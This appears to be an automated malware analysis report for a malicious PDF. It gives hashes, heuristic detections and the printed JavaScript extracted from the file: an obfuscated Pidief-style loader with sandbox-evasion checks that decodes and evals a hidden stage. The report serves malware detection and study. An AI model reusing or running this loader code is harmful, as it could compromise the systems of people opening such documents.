Malicious PDF — malware analysis report

Static analysis result for SHA-256 a089f03748052eee…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-08
MD5: 83a45be20abedd95d0fe5d65746e1b33 SHA-1: 8ba17bf0cc24ecec2f927b99f37c493876623e0e SHA-256: a089f03748052eeea5c9b1f5877297f4bd2d7d4cf487903e1d73db77ee0fcc8e
88 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x330 11332 bytes
SHA-256: c88cdc9ff1d29a05bcc49ffa52b83633bd3cd9ce1315d5bfeb46112f213362ee
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
j='vt34t';
a=new String("if(e'1)bjsg=%u836c45790d2a;nto zvr,qy{whl.*<+}/xkAp_-'[]SCEmI:WNKQDUMGPV|&>@");
b="l";
b2="a"
+b;
z='0a1a2a3a2a4a5a4a6a6a7a8a9a10a11a4a12a13a14a15a16a16a12a13a1a17a3a18a12a13a14a19a1a17a12a13a20a19a3a18a12a13a3a21a15a18a12a13a15a15a19a1a12a13a16a18a17a22a12a13a18a22a14a7a12a13a14a7a15a22a12a13a22a17a18a22a12a13a20a22a14a7a12a13a19a16a5a17a12a13a20a16a14a7a12a13a15a15a22a14a12a13a16a16a23a7a12a13a19a3a14a7a12a13a22a15a15a17a12a13a15a15a20a18a12a13a14a5a24a17a12a13a5a19a3a3a12a13a1a1a5a22a12a13a7a14a1a1a12a13a18a22a14a7a12a13a17a15a15a22a12a13a15a21a18a16a12a13a20a19a22a16a12a13a14a20a1a7a12a13a24a18a15a18a12a13a3a18a14a19a12a13a19a5a20a19a12a13a3a7a3a21a12a13a19a5a18a17a12a13a14a7a19a16a12a13a15a17a20a19a12a13a20a18a14a7a12a13a20a14a15a19a12a13a1a19a22a15a12a13a14a7a19a16a12a13a24a22a20a16a12a13a1a19a22a15a12a13a17a21a15a15a12a13a18a5a18a21a12a13a25a23a1a17a12a13a17a19a22a15a12a13a23a7a15a15a12a13a7a3a22a1a12a13a15a14a5a22a12a13a20a18a1a24a12a13a17a5a22a14a12a13a22a23a17a7a12a13a23a25a22a15a12a13a3a7a18a22a12a13a15a7a1a5a12a13a20a19a5a1a12a13a19a3a3a16a12a13a19a3a14a7a12a13a22a15a24a18a12a13a16a16a23a23a12a13a22a17a14a7a12a13a14a23a18a7a12a13a3a17a18a16a12a13a19a18a1a1a12a13a22a17a24a18a12a13a23a14a14a7a12a13a23a23a22a15a12a13a22a18a14a7a12a13a22a15a14a7a12a13a25a7a17a19a12a13a19a21a19a3a12a13a3a7a17a15a12a13a25a23a19a15a12a13a16a14a14a7a12a13a14a22a24a22a12a13a22a17a20a23a12a13a20a18a15a15a12a13a21a16a22a15a12a13a1a15a3a7a12a13a16a14a14a7a12a13a14a7a22a14a12a13a16a25a1a20a12a13a19a21a22a19a12a13a21a14a3a14a12a13a1a1a1a1a12a13a3a24a1a1a12a13a3a14a1a21a12a13a22a22a22a22a12a13a22a22a22a22a12a13a19a22a19a14a12a13a18a22a16a25a12a13a1a1a16a14a12a13a22a22a22a22a12a13a19a22a22a22a12a13a17a22a14a15a12a13a19a22a5a21a12a13a14a7a19a19a12a13a14a7a3a17a12a13a5a22a19a3a12a13a17a15a14a15a12a13a1a1a22a19a12a13a16a14a3a15a12a13a16a3a16a1a12a13a22a22a22a22a12a13a20a19a16a14a12a13a16a17a20a24a12a13a19a18a16a23a12a13a5a16a1a1a12a13a17a18a14a15a12a13a14a7a22a14a12a13a3a14a3a14a12a13a1a1a16a5a12a13a1a1a1a1a12a13a22a24a3a7a12a13a20a24a3a7a12a13a3a17a14a5a12a13a22a5a22a18a12a13a22a22a22a22a12a13a19a17a14a23a12a13a22a17a24a18a12a13a22a18a17a20a12a13a20a24a24a18a12a13a16a20a16a19a12a13a17a20a20a15a12a13a24a18a18a18a12a13a20a16a22a18a12a13a15a15a20a24a12a13a17a20a15a24a12a13a24a18a18a18a12a13a24a22a22a14a12a13a20a15a24a23a12a13a19a15a24a22a12a13a1a14a16a14a12a13a22a22a22a22a12a13a1a1a22a22a12a13a22a17a19a16a12a13a3a14a14a7a12a13a17a21a15a15a12a13a17a20a19a5a12a13a5a23a18a18a12a13a20a20a22a22a12a13a16a24a20a22a12a13a17a20a20a18a12a13a5a23a18a18a12a13a24a3a22a19a12a13a16a17a16a18a12a13a17a16a16a17a12a13a5a23a18a18a12a13a22a22a22a21a12a13a14a25a19a21a12a13a22a18a17a5a12a13a14a14a15a22a12a13a5a23a18a18a12a13a18a5a22a18a12a13a16a25a19a5a12a13a16a25a22a22a12a13a19a15a22a22a12a13a16a25a19a20a12a13a1a1a22a22a12a13a5a18a19a16a12a13a17a22a14a19a12a13a5a16a20a19a12a13a22a22a16a25a12a13a1a1a19a15a12a13a22a18a19a16a12a13a22a22a16a25a12a13a3a7a14a15a12a13a19a15a22a17a12a13a19a16a1a1a12a13a14a15a22a18a12a13a22a17a17a15a12a13a22a24a3a7a12a13a5a15a3a7a12a13a14a22a18a20a12a13a22a22a15a1a12a13a1a25a20a19a12a13a14a22a18a20a12a13a22a22a15a1a12a13a17a18a20a19a12a13a22a22a16a25a12a13a1a3a16a25a12a13a19a16a1a1a12a13a3a14a22a14a12a13a1a3a21a17a12a13a1a1a1a1a12a13a18a3a14a3a12a13a3a17a22a3a12a13a1a3a21a14a12a13a22a3a14a25a12a13a16a1a14a21a12a13a7a23a22a5a12a13a17a25a15a15a12a13a19a7a14a25a12a13a17a16a5a7a12a13a20a21a18a16a12a13a5a25a15a16a12a13a20a22a24a1a12a13a20a18a16a14a12a13a20a22a20a18a12a13a24a1a15a25a12a13a15a20a24a1a12a13a24a3a15a18a12a13a15a24a15a14a12a13a15a24a24a3a12a13a15a19a15a22a12a13a15a5a24a3a12a13a15a16a15a18a12a13a20a20a24a1a12a13a20a22a24a3a12a13a20a22a16a14a12a13a16a16a15a1a12a13a15a19a15a23a12a13a24a16a15a14a12a13a15a23a16a19a12a13a22a22a15a19a12a13a22a22a22a22a4a26a1a13a27a17a28a0a29a27a30a3a31a32a33a2a33a25a34a35a36a6a37a38a39a0a40a3a2a33a25a41a40a3a27a10a28a39a42a24a43a35a36a6a37a33a25a44a11a33a25a26a45a33a25a11a33a25a41a9a13a7a9a28a33a0a27a10a2a22a34a35a36a46a24a6a26a33a3a28a13a33a27a30a33a25a26a45a30a1a13a27a17a28a0a29a27a30a7a47a2a6a37a32a25a33a30a23a48a10a11a27a3a38a30a49a33a33a25a36a2a6a26a32a25a33a30a32a38a11a22a47a22a17a22a17a22a17a22a17a26a32a25a33a30a25a23a23a33a11a22a47a18a22a22a22a22a22a26a32a25a33a30a50a25a36a40a29a25a23a11a13a27a3a9a17a25a50a3a2a7a8a9a10a6a26a32a25a33a30a9a17a51a40a3a27a11a50a25a36a40a29a25a23a41a40a3a27a10a28a39a42a24a26a32a25a33a30a35a36a11a25a23a23a33a52a2a9a17a51a40a3a27a44a22a47a15a14a6a26a32a25a33a30a36a25a33a9a50a11a13a27a3a9a17a25a50a3a2a53a12a13a21a22a21a22a12a13a21a22a21a22a53a6a26a36a25a33a9a50a11a3a31a32a33a2a36a25a33a9a50a34a35a36a6a26a32a25a33a30a17a29a13a27a28a24a11a2a32a38a52a22a47a18a22a22a22a22a22a6a46a25a23a23a33a26a1a29a33a2a32a25a33a30a17a29a13a27a28a11a22a26a17a29a13a27a28a43a17a29a13a27a28a24a26a17a29a13a27a28a44a44a6a37a23a48a10a54a17a29a13a27a28a55a11a36a25a33a9a50a44a50a25a36a40a29a25a23a26a45a30a32a25a33a30a29a32a3a33a1a40a29a38a11a13a27a3a9a17a25a50a3a2a53a12a13a22a17a22a17a12a13a22a17a22a17a53a6a26a38a39a0a40a3a2a29a32a3a33a1a40a29a38a41a40a3a27a10a28a39a43a18a18a21a19a24a6a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try
{
if((app+'').substr(2,4) == 'bjec')throw 1;
}catch(q){
e=j[
's'
+
'u'+"b"+'str']();
try{
b='e'+"v"+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
{
s="";
for(j=0;j<z['length'];j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[
j]];
}
}}

try{if(!google.search())new ewt;}
catch(q){
e(s);
}

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